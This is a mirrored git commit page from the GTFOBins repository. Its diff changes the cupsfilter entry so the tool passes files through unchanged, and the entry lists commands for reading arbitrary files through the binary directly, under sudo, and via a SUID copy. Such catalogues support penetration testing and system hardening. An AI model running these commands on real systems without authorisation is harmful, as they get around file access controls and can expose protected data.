1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 16:26:01 +02:00

Make cupsfilter more general

This commit is contained in:
Andrea Cardaci 2021-01-12 18:03:09 +01:00
parent 46bbaaf6d6
commit 47db2fa431

View File

@ -1,21 +1,15 @@
---
description: |
cupsfilter - convert a file to another format using cups filters (deprecated).
By default, it converts the file into a PDF ( default output mime: application/pdf ).
Available options:
-i "mime/type" # input mime/type
-m "mime/type" # output mime/type
functions:
file-read:
- code: |
LFILE=file_to_read
cupsfilter $LFILE
cupsfilter -i application/octet-stream -m application/octet-stream $LFILE
sudo:
- code: |
LFILE=file_to_read
sudo cupsfilter $LFILE
sudo cupsfilter -i application/octet-stream -m application/octet-stream $LFILE
suid:
- code: |
LFILE=file_to_read
./cupsfilter $LFILE
./cupsfilter -i application/octet-stream -m application/octet-stream $LFILE
---